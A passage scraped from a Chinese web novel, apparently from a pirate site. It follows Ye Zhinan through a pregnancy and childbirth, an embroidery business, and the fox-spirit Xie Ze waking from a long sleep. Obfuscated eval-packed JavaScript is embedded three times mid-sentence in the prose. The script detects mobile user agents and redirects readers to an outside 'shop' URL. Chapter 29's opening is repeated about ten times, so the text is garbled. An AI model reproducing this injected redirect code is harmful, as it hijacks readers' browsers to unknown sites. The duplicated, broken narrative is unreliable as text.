叶之南坐在一旁,品茗尝糕,默默瞧着她俩闹腾。 “好了,好了,岚云也是受我指使,你也得小心点身子。” 赵岚云摸摸耳朵,赶紧躲到叶之南身后。 “你也知道你才是这个幕后主使,姐姐,这谢公子,就非得看一眼不可了?” 宋扶云挤眉弄眼,坐到她身侧,将赵岚云也揽过来,咔擦咔擦,磕起了桌上的瓜子。 “人家乃是我的救命恩人,”叶之南吐了口茶沫,放下茶杯,自顾自地起身,“好了,我该休息了。” “诶诶诶!我腹中孩儿踢我了!” 叶之南闻言,顿时住了脚,回头便见赵岚云侧耳贴在宋扶云小腹旁,神情激动。 “真动了?”她满脸狐疑,但没忍住蹲下身来。 “动了动了,姐姐你听听,他(她)可想听你这姑姑讲故事呢!” 叶之南小心贴近,那柔软的小腹骤然有一处鼓了起来,像是一个吹胀的泡泡,压上她的耳廓。 紧接着,又是几脚,像是里面的小娃娃敲鼓敲得正欢。 她这才真有实感,扶云腹中孕育着一个生命。 “姐姐,”赵岚云一把从背后抱住她,“说说吗,你这小外甥也想听呢!” “是啊。”宋扶云点点头,朝她递出一个赞许的眼色。 “你们,何时这样要好了?” 想当初,她与赵岚云,也是过命的交情,才换得她多些言语,可这才几日,宋扶云就将这个不爱言语的小丫头收服了! 怪事儿真是越来越多了。 两人神神秘秘,对视一笑,又开始撺掇她:“姐姐你快说嘛,就讲讲你同谢公子什么时候相遇的,怎样相熟的,又是如何……” 叶之南挨不住她们一个劲地问,草草敷衍着说了个始末,倒也惹得两人连连惊叹。 瓜子不久便见了底。 一个小丫鬟骤然匆匆走上前来,神色颇带几分欣喜:“王妃,捷报!前方已攻下原水郡!” 几人立马住了八卦的心思,宋扶云喜得拍起掌来,倒将人吓了一跳:“好,好!殿下与几位将军可还好?” “士兵报来,都道无碍,宣威将军五日前受的伤,已经好上许多了,周将军也恢复了个大概,如今已能提刀了。” “那便好,”宋扶云轻轻吐出一口气,面上笑容更甚了,“这些日子,捷报频频,已然是个好兆头了。” “平阳、原水一得,溯州便不难了。”大事将成,接下来,便只是时间问题了。 不过…… “ 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思虑许久,叶之南忽地腾起身来,掀开被褥,跌跌撞撞寻到纸笔,趴在桌案边。 笔墨挥毫,白纸上龙飞凤舞,密密麻麻,全是休养生息、恢复民生之策。 写罢,她仔仔细细又看几遍,心中默默比划、推测,良久,又将纸张揉成一团,继续冥思苦想。 岁华进屋时,瞧见的便是这番模样,只不过桌上散落的纸团,零零散散,倒又有了十几个。 已是日暮时分,屋内昏暗得很。她匆匆进门来,叶之南却仍沉浸在思考中,未曾理会她。 “殿下,怎地不唤岁华燃烛呢?”她摸到火折子,正要点上,却被叶之南止住了。 “不必了,如今几时了?” “刚至酉时。” “王妃可用过膳了?” “未曾,不过王妃遣人来,看看殿下可醒了,是否一同用膳。” “叫人回了罢,只道本宫身子不适,”她沉吟片刻,“早时撤下的膳食,可还留着?” “谨遵殿下吩咐,尚且留着,不过如今天气暑热,怕是易变质。” “无碍,叫厨房热热,端上来吧。” 岁华张了张嘴,却终究没再说些什么,只领了吩咐,福身退下了。 但连着几日,此事到底传入了宋扶云耳中。 “姐姐,虽说前线军费所耗较大,但我们这些人,吃穿用度,已是削减过的,只做普通人家的吃食罢了,衣裳也多是往年旧的,只因我身形变化,姐姐初来,方才做了几套,姐姐如今尚在病中,万不可如此折腾自己,若是落了病根,可不好了。” “我不过这些日子胃口不好,才吩咐下面少做了几个菜,也并非刻意为之,况且如今西北府灾害连连,同枫禾、流竹,也不知许下了多少……” 宋扶云微微叹了口气:“这些,我们又何尝不知,可这般节省下去,也不过杯水车薪,早些日子,我也带着小丫鬟们做些绣工,只如今怀了胎儿……” “你是个善心肠的,日后定能做个贤良的皇后,”叶之南摸摸她的脸,“如今,只先把胎儿养好了。” 27. 醒来 “诶,刘夫人,孙夫人,绛云阁新来的纹样,你们可瞧过了,”一衣着略为素雅的夫人揽过身旁人,“那双面淡粉的清荷绣,可是极为逼真的,外层含苞待放,转起裙摆来,内摆翻飞,现出那怒绽的荷,粉荷映人,娇艳生姿态,可是别有生趣!” “真有这般精妙?”一旁雍容华贵的妇人闻言,骤然来了兴趣。 “刘姐姐,你还未曾听闻吗?那唐侍郎家的夫人费劲心思弄来一条,竟得了侍郎恩宠,如今夫妇二人,可是如胶似漆呢!” “杨妹妹,这绛云阁,是何来头,竟能做出这般料子?” 刘夫人眼珠一转。这唐家男人出了名的宠妾灭妻,竟能被一条裙子哄得这般样子! 只是这绛云阁初来竹阳城不久,以往也未曾闻得名号,她虽动了心,但到底还是打听清楚为妙。 “天下绣娘的功夫,南知国若称第一,可就无人敢称第二了,这绛云阁,便是南知人的手笔,这些日子的绣品大赛,绛云阁怕是要夺魁的。” “南知人?倒也厉害,能将生意做入流竹来……” “宫里的娘娘都已经打听上了,我家小妹昨日去定个衣裳,已经排到两月后了——” “两月后?妹妹,我家中还有些事,先告辞了。” 杨夫人看着她们匆匆离开的背影,轻轻勾起了唇。 “杨夫人,此乃这些日子的谢礼。” 一鹅黄短袍的小姑娘走来,将一宝匣递上。杨夫人揭开来,内里是五十两白银,并着件藕粉团花清荷裙。她眼睛一亮,忙收下来,客气道:“若日后绛云阁还有需要向夫人们宣传的,尽管开口。” 绛云阁内,赵岚云抱着小算盘,稀里哗啦算起账来。 “藕粉团花清荷裙已被定了五十件了,绿妍,该限量了,若还有人来定,推荐些别的纹样,二百两银子一件,一万两,除去成本……” 她嘀嘀咕咕算着,伸手抓了个梅花糕来,叼在嘴里。 三月前,叶之南骤然提出了这做生意的点子。彼时西北府已然归顺,她们寻了许多会绣工的女子,包食包宿,发放工钱,培训一月后,办起了绛云阁。 这绛云阁,倒不在南知境内办,只在枫禾、流竹、齐蜀各开了铺子。她瞧见叶之南算账,生了兴趣,学起来,竟也学得个七七八八,让叶之南放心将流竹的铺子交给了她。 也不知如今南知战事如何了,扶云的肚子该是又大了一圈,谢泽哥哥可醒了?之南姐姐可还是日日守着他算账本呢? 南知,虞城。 叶之南靠坐在谢泽榻边,翻看着下面送来的账本。 绛云阁这生意,是受扶云启发而来的。南知女子,多是绣工精湛,若是雇用部分,倒是能解决些生计问题。 绛云阁做的都是些高端的绣品,价格高昂,工期颇长,如今手下的绣娘,倒也有了三千之数。 近来生意不错,六个铺子开业两月,不仅回了本钱,还盈利五万两白银。 只是齐蜀的绣荷坊倒与她们争起利来,盈利和其他铺子比起来,并不好看…… 她合上账本,斜躺谢泽身侧,盯着他紧闭的双眸。 “三个月了,怎么还没醒啊……” 自睢宁那次走后,她们又寄过几封信件,只是回信字句皆寥寥,只道会醒,但这期限得看命数。 莫非半妖也能长生不老,这睢宁也并不怕他就这般没了? 她叹了口气,给他擦过脸。 “倒是有些想你这只小狐狸了。” 窗外阳光正好,碎玉一般洒进窗棂。 秋叶半绿半黄,簌簌摇着枝桠。 快九月了。 “可要出去晒晒太阳?” 她自顾自地问着,也没期盼从他口中得出答案。几个小厮被传过来,将人抬上了木椅,推出厢房外。 谢泽的眉头又皱了皱,叶之南早已习以为常。这些时日,他动手指,皱眉头,有时也会发出一些无意义的低吟,只是都醒不来。 她隐隐知道,这似乎与她的毒蛊有关,可却也无从再知晓更多。 早秋的阳光仍带着暖意,柔柔洒在身上,几只老蝉竭力叫着,吱吱吱吱,企图叫回夏末。 她飞身攀上树杈,抓来一只鸣蝉,硬邦邦的外壳,缓慢挣扎的肢爪,步步刮蹭她的手心。 她撑开谢泽的手掌,想将老蝉放入他掌心。幼年宫墙梢头的蝉,是她与叶之淮总要捕来玩闹的。 “殿下。”岁华忽从一侧走来,她没回头,仍一根一根扳开他的手指。今日他的指头倒蜷得格外紧,颇得费些力气。 “下面人传来前线军情,昭王围了南都。” 叶之南手下一顿,骤然松开。老蝉从挣扎出去,扑棱着翅膀,重新飞回叶丛。 围了南都?那倒是快了。 临武帝败局已定,南都内的臣子,若是有些远见,也该想方设法开城相迎。 该回去了吗? 她望着仍躺着的谢泽,心下第一次为此事生出了犹豫。 她回过头来:“王妃可知道了?” “下人已去禀告了。” 谢泽忽然颤了颤睫毛。 “嘱咐他们看好王妃的身子,莫要出了差错。” 扶云如今快九个月了,宋母也过来照料着,到底是昭王的第一子,日后还会是皇子公主,万万出不得差错。 岁华退下,她方才想起刚刚要做些什么来,轻笑一声。 “你同这蝉,怕是没有缘分了。” “那同你呢,可还有缘分?” 谢泽笑着睁开眼,伸手去勾她的掌心。 叶之南骤然哽住了。 午后的阳光洒下斑驳树影,映得他的脸都有些不真切了。 只那对琥珀色的瞳孔,琉璃一般,射出许久不见的熠熠神彩来。 他唇边仍勾着一抹笑,发丝随意散着,恍若刚刚莅临世间的仙人。 “诶——你别哭呀,我还活着呢!” “没哭,”她被他手忙脚乱的样子逗得笑出声来,微红的眼眶收住了泪,露出一对弯弯的月牙。 微风吹落几片落叶,落在她发丝上。 “阿南,你低头。” 她如言垂首,那刚刚还受她摆弄的手指抚上青丝,摘下一片半黄的叶子,握在手中把玩。 落叶翻来覆去,根根叶脉分明,如人手腕上的青筋血脉。 “秋天了啊,”他叹息一声,“这得几个月了?” “三个月了,睢宁夫人及谢老爷曾来瞧过你。” “他俩呀,唉,一点儿也不挂念我这个孩儿。” 谢泽小心收起叶片,懒洋洋伸出双手,眸子亮晶晶的:“阿南,腿脚软了,使不上力。” 叶之南禁不住他撒娇,弯下腰去,任凭男人的双手勾上脖颈。 她扶上他的后背,一步一步,慢慢迈上了台阶。 “三月不见,阿南……可想我了?” 叶之南默不作声,将人扶至榻上,遣人唤了大夫。 “可要喝些水?” “避而不答,必是有鬼,你这些日子,不会有了别的狐狸了吧?” “有又如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129920|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她倒上茶水,递过去,却听得对方小声嘀咕:“分明才说想我,口是心非——” 茶杯骤然倾了半度,水流淅淅沥沥地滴至榻上。 “谢泽!” 敢情这人早就醒了,在这装模作样半晌! “别,别生气,我还是病人啊啊啊——” 叶之南冷笑一声,将茶杯仍用力扔至床榻上,转身便走。谢泽慌忙拾起茶杯,起身去追,刚拉住衣角,腿下却使不着力气,“啪嗒”一声,跪了下来。 闻言匆匆赶来的宋扶云愣在门口。 “怎么……刚醒来,就跪下了呢……” 也不知小两口闹上什么矛盾了,按理说,这刚醒,正是浓情蜜意之时,怎地这两人……便这般不寻常? 叶之南也没想到谢泽这番举动,骤然行此大礼,不过这般看来,身子倒是并无大碍,挺能闹腾的。 “倒也不必行此大礼了,起来吧。” “你不原谅我,我便不起来了,我错了,阿南——” “起来吧起来吧,不与你计较。” 谢泽仍跪着不动。 “赶紧起来!” “这是真起不来了,腿脚使不上力……” 他神色委屈,用力垂了垂腿。 宋扶云忙让人扶他起来。 大夫此刻也赶来了,才至床榻边,便瞧见上方一滩水渍。 他神色颇为古怪地瞥了瞥谢泽。当初殿下请了不知何方神圣,只道这公子虽晕厥,但也无需进食饮水,如厕之事更是未有。怎这醒来,反而还…… 莫非神药也有害,醒后便得受了这晕厥原本应受的苦楚? 谢泽看他神色古怪,又瞥到榻上水渍,无奈扶了扶额。 “阿南,能否让人将这榻上茶水清理清理?” 丫鬟闻言,立马上前来,收走了被褥。 宋扶云绷住面色,假作不知情。这病人有此难堪之处倒也不奇怪,只是这么多人面前,毕竟还得顾及谢公子的面子。 谢公子扫过众人的神色,只觉得有口也说不清了。 “将这茶杯也收了吧。” 叶之南从地上拾起茶杯,递给身侧的小厮。 原来真是茶水……宋扶云刚放下心,但立马又紧张起来——这方才醒来,便又摔茶杯又下跪,到底闹出什么毛病了? 这可不利于她姐姐姐夫的感情生活…… 不过吵吵闹闹,倒也有些寻常人家的氛围。 一番折腾,大夫总算把上了脉。 “谢公子身子倒并无大碍,只是有些虚弱,在下开几副方子,日后慢慢调理便是了。” “这腿脚发软又是何毛病呢?” “榻上躺了三个月,久不活动,发软无力也是自然之事,”谢泽随意揉了揉腿,“活动些时日,自然便恢复如初了。” “公子所言不错,扶着走一个月,便也无碍了。” “王妃,该备晚膳了,只谢公子这处,可要单独备一份?” “那倒也不必麻烦了,在下也能慢慢踱至大厅。” 宋扶云点头,吩咐下去,又被叶之南劝回去安心休息了。 “阿南,我要去用膳。” 他又伸出手来,可怜巴巴地撅起嘴。叶之南看着他,摇摇头,摒退身边想要帮忙的下人,接过人来。 以后这一个月,这人怕是缠定她了。 叶之淮围城七日,却还未有消息传来。 叶之南心下略有焦灼,正翻来覆去睡不着觉,门外忽然传来声响。 “殿下,殿下!王妃要生了!” 28. 第 28 章 夜半时分,月色皎皎。宋扶云生产的厢房外候着一群人。叶之南抹了把额上的汗,不自觉徘徊起来。 生产之事,她未曾经历,只幼年听闻哪个宫的妃子因难产而死,哪个贵人又诞下死胎,终年郁郁寡欢。此事凶险非常。她抬起头去,见那婢女进进出出,手上端着的,尽是血水。 “啊——” 宋扶云喘着粗气,鬓发被汗滴浸得湿透,紧紧贴在面上,油腻腻的好生难受,可她也顾不得这许多。接生婆在下侧絮絮叨叨,让她再使把劲儿。可她只觉下腹疼得厉害,力气似乎都用光了,连话也说不出来。 “先喂王妃喝些水,休息会儿,待会儿再使把劲儿,这孩子头都还没瞧着呢!” 身侧的玉筝忙擦了她脸上的汗,端来糕点。她张开嘴,勉强吃上几块,又摆了摆手。 “儿啊,别怕,娘亲在呢。”宋夫人忙忙走入她身侧,轻轻握住她的手。 她险些哭出声来,未曾生产之时,也从未觉这般苦痛。 她握紧母亲的手,绷紧身子,再次使上力来。 “使劲儿,使劲儿!诶,头,看到头了!” 佑启元年,八月廿十,南知昭王诛逆贼,取南都,称文昭帝;同日,皇后宋氏诞一子,母子平安。 当叶之南接到这一消息时,已是三日后。 待宋扶云坐完月子后,她们便能回去了。 她垂下头,瞧着奶娘怀中的小皇子,圆圆的脑袋,粉嫩嫩的小嘴,一双溜溜的眼睛转来转去,不知在看些什么。 然后,他瞧见了她,忽地睁大了眼睛,转眼又笑了起来,朝她歪歪扭扭地伸出手去。 奶娘抬头看向她,她慌慌张张地伸出手来,接过孩子,却又手忙脚乱,不知如何抱才好。 谢泽坐在一旁,抬眼瞥见,笑嘻嘻地朝她招手:“来,我教你怎么抱。” 她抬眼过去,眼中满是狐疑,这小子今日缠着她扶过来瞧小侄子,可来了这儿后又只坐着吃果子,如今又大言不惭起来。 可别摔了她的侄儿。 谢泽见她狐疑,气鼓鼓地吐出果核,扭过头去。 孩子在她怀中动起身子来,伸手蹬腿的,好不舒服,转眼便哇哇哭出了声。 谢泽这才回过头来,微微挑眉,眼神挑衅,似乎在说:看吧,这都不会抱。 这一眼,倒激起她的胜负欲来。她小心将孩子递到他怀中:“喏,你来。” 身后的奶娘忽然笑了一声,但又忙收了回去,咬死了嘴唇。 叶之南骤然醒悟过来——怎么每次和谢泽相处,便成了两个幼稚的儿童,总为些小事儿争个胜负。 可她这侄儿在谢泽怀中确实止住了哭声。 他将孩子的头放在左臂弯中,肘部护着脑袋,手腕轻轻扶着腰,另一只手则撑着腿,左右慢慢摇晃起来。 叶之南坐下来,抿了口茶水,瞧他熟练地哄着娃。 “以前有过?” “自然,我这可是经验丰富,以往——”他忽觉这话语不对劲,顿了一瞬,忙改口道,“没有过,我哪有过孩子,都是替我娘照顾她们……亲戚那边的孩子。” “我可没问你有没有过孩子,这般紧张作甚?”她轻轻撑着脑袋,望向茜纱窗外,“有也不错,挺好。” 她往后的生活又要如何而过呢?建一个自己的长公主府,日日清茶淡酒,算算账本,想着法子让民间的姑娘们都能有口饭吃? 这自然是再好不过了,可…… 她不动声色地瞥过眼来,看着谢泽低头,轻声细语哄着怀中的婴儿。 “真没有,对天发誓,若有半字谎言,天打雷劈。” 叶之南抬眼,看他一手抱着婴儿,,一手直指苍天,神色郑重,不免笑出声来。 “笑什么,我认真的。”谢泽嘟囔一句,将孩子还给奶娘。 “知道,你认真的。”叶之南敛了笑容,就这般,懒懒撑着脑袋,双眼定定瞧着他。 谢泽凑上前去,微微启了唇,却又被她截过。 “日后作何打算?” “打算?”谢泽皱了皱眉,“我这腿脚还未好全,能有什么打算?” “日后不久,我便回南都了。” “你回南都?什么意思?我被便如此被弃下了?” “那是我的家,人归故土,终究要回去的。” “我倒还未曾听闻,南都有何规定,不许外乡人进入?” 叶之南心下讶异:“你不走?” “不走,我这个人,最是懒散,如今讹上你,便得一辈子赖着你了。” 叶之南一时未言,谢泽轻轻指了指茶杯:“口渴了,阿南。” “你那杯中有茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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城门排开几列士兵,约莫有二百来人,个个铁甲银盔,手持长枪,整饬肃穆,神色威严。中间的周玉阳绛红银铁金衣甲,青丝挽束,眉目若锋,身侧佩剑,端坐铁骊马上。 29. 第 29 章 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199518|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 叶之南身侧安放了张幼儿用的小褥子,案几上的茶果菜肴,皆陈列两份。她将谢泽安放其上,便懒懒同着些女眷应酬,任他自去玩乐了。 “殿下,您这狐狸,养得可真漂亮。”出言的是吏部尚书家的女儿,姓蒋,叫什么倒记不清了,只记得其父在圣文帝与临武帝前做了两朝臣子,如今换了第三朝,这么些时日圣上还未有态度,想必也是心下惶恐,来探探口风的。 “这狐狸啊,起初来到本宫身边,心下一直不满呢,不过这世间哪有长时恨,后来日日精心伺候着,也能讨他个笑脸。” 她勾勾手,谢泽便叼起块蜜饯,轻轻放在她手心。 酉时,众人皆已陆陆续续入了宴厅,只帝后二人还未现身。 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